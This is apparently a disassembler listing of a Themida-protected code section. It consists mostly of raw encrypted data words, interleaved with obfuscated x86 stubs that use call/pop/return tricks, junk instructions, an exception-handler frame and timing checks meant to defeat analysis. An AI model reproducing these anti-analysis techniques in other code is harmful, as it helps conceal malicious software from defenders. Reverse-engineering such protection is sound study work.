		dd 0F595FFF8h, 66060B00h, 9FBDDB81h, 2191BD83h,	0F00060Bh
		dd 5184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0D098DBFAh, 29C9B589h, 5096060Bh
		dd 6A96DE8Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 6EC6C350h, 6FBE066Eh, 6690D367h
		dd 0B5FFFE8Bh, 60EA81Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 7AC35343h, 9B9ABCF8h,	8195FF10h, 0E8060B12h
		dd 0Eh,	9FFA071Ah, 6B1E1CF1h, 0D2703D81h, 85094EC1h, 60B2001h
		dd 1DB5FF5Bh, 0F060EA8h, 95FFDBBFh, 60B0B8Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8DC35040h, 15520AECh
		dd 0BD834614h, 60B17F1h, 86840F02h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0CDDEC350h, 95E9AB4Fh, 6060A4AAh, 6E9h, 0CFB9A600h
		dd 2905B095h, 0B298195h, 0CE96106h, 4D000000h, 0EA94D76Dh
		dd 0FCFE7CE4h, 6143BA0Bh, 2EC5858Bh, 8F0F060Bh,	6, 13BD9D29h
		dd 0C6060Bh, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 92111266h, 8BF9DC91h, 0B151DBDh
		dd 0B985C706h, 60B06h, 0F000000h, 49E9D9BFh, 6AFFFFF2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8B21C357h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8BE18CDFh, 0B0BC59Dh
		dd 0A9858D06h, 0F060B28h, 38Fh,	0F98B6600h, 0BF665750h
		dd 895F3E82h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 6AEEC3h,	7E18D89h, 6A060Bh, 261BD0Bh
		dd 858D060Bh, 60F5116h,	0DB9FBF66h, 6A05C083h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 1140C350h, 72DD1DD0h, 89601B51h, 0B15C59Dh, 61F38A06h
		dd 0BA34BF50h, 4895265h, 0AD850124h, 6A060B02h,	38B0F00h
		dd 80000000h, 6A38C3h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 49C35141h, 0CDABE4Bh,	68E0F40h, 1000000h
		dd 0B0CE5B5h, 2195FF06h, 6A060B2Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D7F6C355h
		dd 0E5BD8B77h, 8D060B04h, 0EA7B08Dh, 0EF816606h, 0D1FF209Ch
		dd 7E9h, 0EAF4BA00h, 0DA267E44h, 0B19BD83h, 0F01060Bh
		dd 4D85h, 0BA606000h, 13EE3496h, 8D2B61FCh, 60B0F31h, 89026A61h
		dd 0B06299Dh, 8B665006h, 240489D8h, 6D18D01h, 95FF060Bh
		dd 60B0F15h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	15C35343h, 0AE0E5344h, 41E972FDh, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 60F5120h
		push	0
		push	eax
		call	sub_5811D6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5811D6	proc near		; CODE XREF: Themida_:005811CEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5811D6	endp

; ---------------------------------------------------------------------------
		dw 0FEB9h
		dd 0F847F917h, 6E8B843h, 8000000h, 68CF565Eh, 7E9A3h, 95CE0000h
		dd 3A4436A9h, 8B665F68h, 0BE9F8h, 35F10000h, 0E1E08F6Dh
		dd 7FD9DB81h, 14E812h, 0CFC40000h, 49D7C8F6h, 2861CB1Bh
		dd 4E9C001Ah, 7E9E9B18h, 0B6035D8h, 0B17959Dh, 0A9BD8B06h
		dd 61060B06h, 93858D5Bh, 31060E92h, 0B06DD95h, 0ECBB5006h
		dd 8953290Ah, 0D5BF2404h, 640D3FFFh, 35FFh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 98AAD1C3h, 0F60973A9h, 64442952h, 2589h, 95890000h
		dd 60B19C5h, 66D85FFh, 6A060Bh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 29A97EC3h, 54A47BC1h
		dd 0BE9AEh, 0C1030000h,	0AFC6F8Dh, 2129C9C2h, 6AFF6A35h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 8ECBC353h, 16EF90E4h, 5753CF47h, 7ADCBB66h
		dd 0C9B5FF5Bh, 6A060B19h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 2BAFC350h, 0CB71D67Bh
		dd 9743BBD7h, 95FF715Fh, 60B2411h, 112E9h, 1DBD0B00h, 0B0060B21h
		dd 519D0900h, 0E6060B2Fh, 1DBD8B70h, 0E4060B01h, 0F613C71h
		dd 0F283h, 850FF500h, 0
; ---------------------------------------------------------------------------
		movzx	ecx, al
		call	sub_581373
		or	bh, ds:0D1DBB90Ah[ebx*2]
		or	al, 1
		push	cs
		dec	esp
		jg	short near ptr loc_58139A+2
		cmp	ds:7F08288Fh, esp

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_581373	proc near		; CODE XREF: Themida_:0058135Bp
		jmp	sub_58137D
sub_581373	endp

; ---------------------------------------------------------------------------
		dd 0D3208B03h
		db 0BBh

; =============== S U B	R O U T	I N E =======================================



sub_58137D	proc near		; CODE XREF: sub_581373j
		pop	ebx
		mov	edx, 6
		mov	[ebp+60B0329h],	eax
		mov	eax, ecx
		mov	[ebp+60B18A9h],	ecx
		mov	edi, [ebp+60B0139h]
		shr	eax, 4


loc_58139A:				; CODE XREF: Themida_:0058136Bj
		movsx	ebx, bx
		mul	dx
		mov	edi, [ebp+60B025Dh]
		sub	ecx, eax
		mov	ebx, 2F8EBCC8h
		mov	edx, ecx
		mov	[ebp+60B2085h],	edx
		jmp	$+5
		mov	eax, [ebp+60B2075h]
		call	near ptr loc_5813D1+1
		insd
		adc	al, 0DEh
		fcom	dword ptr ds:31321AC2h
		xchg	ecx, ecx
		movsb


loc_5813D1:				; CODE XREF: sub_58137D+43p
		repne pop edi
sub_58137D	endp ; sp-analysis failed

		add	eax, 7
		or	[ebp+60B32D5h],	edi
		add	eax, 0
		and	bx, 0A203h
		cmp	edx, eax
		jnb	loc_5813FE
		jnp	$+6
		jmp	loc_581443
; ---------------------------------------------------------------------------
		jge	loc_5813FE
		stc


loc_5813FE:				; CODE XREF: Themida_:005813E6j
					; Themida_:005813F7j
		mov	ecx, [ebp+60B0869h]
		jmp	loc_58141C
; ---------------------------------------------------------------------------
		db 0FCh, 0FBh, 7
		dd 21495DF5h, 8ACDDBD5h, 0D11621D8h, 32374D21h
; ---------------------------------------------------------------------------


loc_58141C:				; CODE XREF: Themida_:00581404j
		and	ecx, 1
		jz	loc_581443
		and	dword ptr [ebp+60B0869h], 0FFFFFFFEh
		jz	$+6
		mov	[ebp+60B2075h],	edx
		add	[ebp+60B2255h],	eax
		jmp	$+5


loc_581443:				; CODE XREF: Themida_:005813F2j
					; Themida_:0058141Fj
		lea	esi, [ebp+60ED704h]
		push	0
		push	ebp
		call	sub_581454
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581454	proc near		; CODE XREF: Themida_:0058144Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_581454	endp

; ---------------------------------------------------------------------------
		add	esp, [ebx-58BB2602h]
		mov	dh, 66h
		sbb	ebx, 6A911Ah
		push	0
		push	ebp
		call	sub_58147D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58147D	proc near		; CODE XREF: Themida_:00581475p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_58147D	endp

; ---------------------------------------------------------------------------
		db 61h,	16h, 11h
		dd 219D75EEh, 0F95670E1h, 8D58589h, 0FE9060Bh, 0AA000000h
		dd 133EA3C3h, 643B29F3h, 737C47BDh, 95FF1772h, 60B32DDh
		dd 3820B6BBh, 0A48B974h, 0BD890000h, 60B0209h, 0DE9h, 7039F000h
		dd 6819171Eh, 54889E5Dh, 0E18397E2h, 0F337BFFCh, 6AFC3D0Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 7949C355h, 699DED40h, 0B8FCh, 9D8B0000h
		dd 60B035Dh, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0ADFB32C3h, 0A0DC215Eh, 56561BCCh
		dd 12E8h, 294F1B00h, 320D8D3Fh,	5D52821Ah, 0F9A7DDB0h
		dd 5BDF3E37h, 33AD5B5Fh, 3E8D1C2h, 4E983D0h, 8D89F475h
		dd 60B2B1Dh, 22F9BD31h,	0E857060Bh, 8, 83ACEDE9h, 0FE15DCA4h
		dd 6E9h, 2B017300h, 5B4617C5h, 880D5Fh,	0E8BB0000h, 60032D58h
		dd 8D8BEBB6h, 60B08D5h,	4D958B61h, 0B3060B17h, 198D8B2Eh
		dd 6A060B01h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 5500C353h, 6E8C1E3h, 9D000000h
		dd 47D5A5E5h, 61B58984h, 5B060B27h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BF0F5818h, 52006AFFh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 12E9E9DFh, 0B8000000h, 0EBF114DEh, 0AA096F40h, 222BB820h
		dd 36B51EDEh, 0BD83F938h, 60B29BDh, 6A840F00h, 53000000h
		dd 12E1BD8Bh, 0B85B060Bh, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_581647
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581647	proc near		; CODE XREF: Themida_:0058163Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_581647	endp

; ---------------------------------------------------------------------------
		popa
		mov	ebx, [ebp+60B0EB5h]
		lea	ecx, [ebp+60B4DD7h]
		cld
		mov	ebx, [ebp+60B2939h]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_581678
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581678	proc near		; CODE XREF: Themida_:00581670p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_581678	endp

; ---------------------------------------------------------------------------
		dd 0FDCC8244h, 659D8B58h, 8B060B1Ah, 0B20E1BDh,	9BD8306h
		dd 60B10h, 4A9840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 6A0C24C3h, 0E5B2985Dh
		dd 1009BD83h, 0F01060Bh, 49584h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0B59D8989h
		dd 83060B21h, 0B1009BDh, 860F0306h, 430h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 60C35242h, 4A72CCE9h
		dd 8D896210h, 60B18F5h,	0D98C6660h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 7BC35747h, 8680BB3Eh, 8192639Eh
		dd 0A6824CBh, 399D0964h, 80060B2Bh, 6A04E1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 11B58BC3h
		dd 8EF0C7F3h, 0C90A27C3h, 153840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 7C0528C3h
		dd 858BBB89h, 60B317Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 2DC35545h, 0B67F1D2Ah, 1AB36011h, 5A5EE81h
		dd 89613612h, 0B0809BDh, 0ED853306h, 8B060B06h,	0B069D9Dh
		dd 8E95006h, 7B000000h,	3EB8ABEh, 896B5CA4h, 5F522404h
		dd 8589006Ah, 60B02DDh,	0DFC76768h, 6E8ADh, 3BFF0000h
		dd 5A4984E2h, 8E9h, 0D6F9D400h,	1584AE97h, 4815BD6h, 3F3C9824h
		dd 50006A52h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0CF3CFCA9h, 0BD899F7Eh, 60B02D5h, 3D195FFh
		dd 14E9060Bh, 0E6000000h, 0DE1F3816h, 19EE0DF1h, 9F31BA41h
		dd 0DE013CAEh, 89546BA3h, 0EA81D85h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 4CBA2A78h
		dd 8934D34Bh, 0B0D0995h, 0D7816606h, 0DAE951F6h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 2664C350h, 7A7D18D0h, 60059A6Eh, 10759501h
		dd 8589060Bh, 60B02E5h,	15858B61h, 6A060EA8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 9C86C357h, 6D8D01D4h, 0C7060B13h, 1800h, 13E900h, 0DD750000h
		dd 0ED07A31Ah, 53FDA90Ah, 8C97D4D1h, 59D75859h,	19B58B81h
		dd 89060EA8h, 0B0E9DBDh, 8BACB706h, 0B06E185h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 81A85C73h, 0BB1180DCh, 7C3CCB89h, 6A0689h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 43E788C3h
		dd 1A3B97D9h, 1D9D8B11h, 0F9060B15h, 317D858Bh,	0FE9060Bh
		dd 0AA000000h, 21366CE3h, 0BFE5AF44h, 18C70BA7h, 816680EAh
		dd 89F22CDBh, 50960446h, 0FBB96660h, 38B0F6Ah, 66000000h
		dd 9661DE8Bh, 0C1BD2960h, 0E8060B06h, 9, 0F303C862h, 4F334E99h
		dd 9DD881B1h, 5A533A19h, 15B5FF61h, 68060EA8h, 920F6EDFh
		dd 20240481h, 6A6E0F95h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 88D3C351h, 1BB2BE73h
		dd 51C8209Ah, 292D9589h, 858D060Bh, 60EA81Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D0C35343h, 36B86509h
		dd 509C4245h, 0F88A5250h, 0B060310Fh, 9DBE66DEh, 585A61F2h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 276BC353h, 14BB2276h, 0D195FF9Ch
		dd 89060B03h, 0B2189BDh, 6A6106h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 8293B1C3h, 0C7B675D1h
		dd 0B100985h, 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8A66B6BAh, 1DBD83FEh
		dd 60EA8h, 52840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0B56731C3h, 0B50997D5h
		dd 60B27DDh, 42E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 83E06193h, 0BB940FF8h
		dd 3F6B4BA7h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 81C08B00h, 8E2ADF7h,	6E95Fh,	6700000h, 1CCDADD8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 65C35343h, 0BD836AC9h
		dd 60B1009h, 8850F03h, 83000004h, 0EA81DBDh, 840F0006h
		dd 3FBh, 5718D89h, 0B5FF060Bh, 60EA81Dh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 59C35343h, 0F4B62A9h
		dd 286h, 0E945B300h, 10h, 10F765DEh, 0E41A509h,	3E97668Ch
		dd 20BF883Fh, 83D95FFh,	6A060Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0CAC4FCC3h, 3D858940h
		dd 8B060B10h, 0EA811B5h, 6860F06h, 89000000h, 0B1A858Dh
		dd 106C706h, 6A000100h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 3E6EC353h, 0FDE7C230h
		dd 0C9958931h, 50060B0Dh, 28D0Fh, 0F88B0000h, 0FC243489h
		dd 0A81DB5FFh, 6A060Eh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 9C7597C3h, 0B17EA9ADh, 66FE3F44h
		dd 0E13DEB81h, 64195FFh, 0CE8060Bh, 48000000h, 51B5CB7Fh
		dd 83D7E214h, 0E95F4F21h, 13h, 16AC8A59h, 40EF6AB6h, 0A1BE8043h
		dd 0C0CB2C0Eh, 5B29F951h, 0A811B58Bh, 19BB060Eh, 8B2CC8E3h
		dd 0B121D85h, 8DEB8006h, 0C48689h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 36060C3h
		dd 0B16318Dh, 61F18B06h, 174D958Bh, 6A060Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 155164C3h
		dd 4C28391h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	3AC35141h, 0F2C55C7Eh, 0B82F18h, 0CE9h,	9B1D6E00h
		dd 0BBED7EADh, 0DC12D329h, 205089CBh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0EDC35747h,	4556E474h, 0D88EB7A2h
		dd 8DDC8AA5h, 0EBAEE85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 8E9AA192h, 89501CC5h
		dd 0B0BADBDh, 86895F06h, 0B8h, 16A59D8Bh, 6A060Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h, 0FE09EB08h
		dd 9531A9E7h, 60B2B79h,	0A81DB5FFh, 12E9060Eh, 26000000h
		dd 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh, 1595FF4Ch
		dd 6A060B0Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 1CD6C352h, 4BFCBE15h, 0F80C5023h
		dd 24348950h, 1DB5FFF5h, 3060EA8h, 0B01B5BDh, 8E906h, 62470000h
		dd 29B6C709h, 95FF2480h, 60B00F5h
		dd 0C860Fh, 830F0000h, 6, 0D09BD8Bh, 0BD83060Bh, 60B2191h
		dd 27840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 6B49C355h, 8B605250h
		dd 895F61C6h, 0B5FF2434h, 60EA81Dh, 128195FFh, 6A060Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 5FA085C3h, 0FFDBFCAEh, 0EA81DB5h, 552BBF06h,	95FF0F0Dh
		dd 60B0B8Dh, 17F1BD83h,	0F02060Bh, 7484h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0B5896F05h, 60B2E65h, 2EC5858Bh, 6A060Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 3CDCFDC3h
		dd 0FC1B7C2Fh, 0C6B136h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0C6E14BDh, 8FC38166h
		dd 0B985C7B6h, 60B06h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0CBF0C351h
		dd 11DE3FE4h, 85F381E6h, 0F21D8A5h, 68Eh, 0C9BD8B00h, 0E9060B31h
		dd 0FFFFF2FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0F8C35343h, 0E90FC4DFh,	7, 0D527205Fh, 8B406FC1h
		dd 0D8BF0FC1h, 28A9858Dh, 8A0F060Bh, 16h, 11E9h, 0C94CA000h
		dd 79C388C3h, 82AD57EAh, 0B37F40DBh, 8B50EEFCh,	240489FAh
		dd 1B4D8589h, 6A060Bh, 0D2A4BF66h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0AAFE82C3h
		dd 510386DFh, 858DF33Ah, 60F60FEh, 83FCD98Bh, 6A05C0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 6214D1C3h, 9D0BFC88h, 60B2AE1h, 52505050h, 310F5250h
		dd 310F585Ah, 8E0Fh, 585A0000h,	2404895Fh, 5519529h, 6A060Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 1FC35545h
		dd 50F0A907h, 6A7B2933h, 9531FC00h, 60B0E85h, 2F2195FFh
		dd 61BF060Bh, 8D110C25h, 0EA7B08Dh, 0D6BF6606h,	6AD1FFECh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0BC3C353h, 66485C93h, 9589FE8Bh, 60B0CBDh
		dd 0B19BD83h, 0F01060Bh, 7D85h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0BBC79E82h
		dd 5B70AC8Eh, 0E960026Ah, 0Dh, 7F3ED737h, 69FEB321h, 0C25789B0h
		dd 61F38B54h, 6FBB6650h, 24048939h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 5BC35545h, 0ED597BC4h, 0FF903A1Ch
		dd 0B0F1595h, 0CE906h, 0A6330000h, 416DBFEBh, 99EE8D86h
		dd 31E98033h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 60F6108h
		push	0
		push	esi
		call	sub_5821BE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5821BE	proc near		; CODE XREF: Themida_:005821B6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5821BE	endp

; ---------------------------------------------------------------------------
		das
		and	al, 99h
		fstp	dword ptr [ebp-72B80BC3h]
		mov	bx, cx
		lea	eax, [ebp+60E9293h]
		push	ebx
		mov	edi, [ebp+60B1F51h]
		pop	ebx
		push	eax
		mov	bx, 1870h
		mov	[esp], eax
		movsx	ebx, bx
		push	large dword ptr	fs:0
		jnp	loc_582202
		mov	bh, ch


loc_582202:				; CODE XREF: Themida_:005821FAj
		mov	large fs:0, esp
		push	0
		push	eax
		call	sub_582214
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582214	proc near		; CODE XREF: Themida_:0058220Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_582214	endp

; ---------------------------------------------------------------------------
		dd 0F7812A6Fh, 50DBDB5Eh, 66D85FFh, 6A060Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 1FC5E3C3h
		dd 0AC008A85h, 6AFF6AC4h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 1A72C355h, 0E8BBEB42h
		dd 11h,	0D4C11844h, 78454407h, 57F7023Fh, 0D9402530h, 0B5FF5B26h
		dd 60B1B7Dh, 2719589h, 95FF060Bh, 60B2411h, 12EE9h, 2648BF00h
		dd 0B00955h, 0E6D88B66h, 0E8FE8B70h, 7,	0F87003D7h, 3FD2DF2h
		dd 0B18999Dh, 71E45F06h, 1A35BD8Bh, 60BF060Bh, 3C2FF8A8h
		dd 0F8830F61h, 89000000h, 0B297185h, 0C8B60F06h, 0CE8h
		dd 49A07F00h, 713B040Eh, 42CD23B6h, 5FFE8BD4h, 6E9h, 32A40900h
		dd 0BA4E856Bh, 6, 58EF8166h, 8BC18B77h,	0B2A3D9Dh, 4E8C106h
		dd 1EDB8166h, 0E2F7663Dh, 3ACB8152h, 5F12BFE7h,	9D8BC82Bh
		dd 60B2131h, 0A422F381h, 0D18B65E2h, 13E9F88Bh,	0E9000000h
		dd 0Ah,	0B04454AAh, 3DAE4EDAh, 0BF664587h, 858BA8FCh, 60B15E1h
		dd 75FBF66h, 8B07C083h,	0B087D9Dh, 0BD8B5706h, 60B18E5h
		dd 0C0835Bh, 15718D31h,	9D8B060Bh, 60B059Dh, 830FD03Bh
		dd 13h,	2B39BD89h, 44E9060Bh, 89000000h, 0B04119Dh, 8BA6B306h
		dd 0B1A9D8Dh, 4880F06h,	66000000h, 83DCBCBFh, 840F01E1h
		dd 23h,	800Fh, 0A5830000h, 60B1A9Dh, 8A0FFEh, 89000000h
		dd 0B15E195h, 0EF816606h, 0E9BC95h, 8D000000h, 0EE370B5h
		dd 9870F06h, 60000000h,	2F558D29h, 61F8060Bh, 820F006Ah
		dd 6, 0E35BD89h, 95FF060Bh, 60B32DDh, 19820Fh, 14E90000h
		dd 63000000h, 1247837Dh, 0C2FA0048h, 2319B0D9h,	41BEA01Eh
		dd 0B9328EF1h, 86Ch, 0FCE183F8h, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 63CE4870h
		dd 0AE8h, 0DCEB8D00h, 5BE4A752h, 0FBB256Dh, 388h, 0FEBF0F00h
		dd 13E95Fh, 533B0000h, 0EAC41C57h, 86CB5AF4h, 0D2BC7067h
		dd 0E794D2B5h, 6AC02BEFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0CCB6C355h,	66DF8B51h
		dd 9F0FDB81h, 0BAh, 158D8900h, 0AD060B14h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 798C351h, 3CB7F48h
		dd 0B07419Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0E88FAD52h, 0Dh, 4565D40Fh, 93EE47BFh
		dd 74AEC7B1h, 15BD892Fh, 5F060B2Eh, 880Dh, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 89CB4D0Dh, 0B1A1985h, 4D958B06h, 89060B17h, 0B1935B5h
		dd 198D8B06h, 6A060B01h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 7A54C352h, 50FA8BFFh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	53006A58h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 7AC843C8h, 8B94280Bh, 0E3BF66FAh, 0BDBD838Dh, 60B29h
		dd 91840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 150424h, 51410000h, 669B68C3h, 511C24BBh, 17D59D8Bh
		dd 0B85F060Bh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5825EB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5825EB	proc near		; CODE XREF: Themida_:005825E3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5825EB	endp

; ---------------------------------------------------------------------------
		db 0B7h
		dd 42B903EEh, 0ABBC888h, 8D716E20h, 0B4DD78Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E9870E0Ah, 0Fh, 9C3717FCh, 91358DD7h, 481403Dh, 0FF853D74h
		dd 83DD8AE1h, 0B1009BDh, 840F0006h, 489h, 9BD83F9h, 1060B10h
		dd 496840Fh, 0F600000h,	281h, 315A5100h, 0B13D9BDh, 9D0B6106h
		dd 60B28A5h, 1009BD83h,	0F03060Bh, 43D86h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 6A6033h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
